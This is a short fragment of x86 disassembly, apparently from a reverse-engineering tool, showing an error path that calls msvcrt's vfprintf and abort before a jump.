mov dword [esp], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
jmp fcn.0043ded0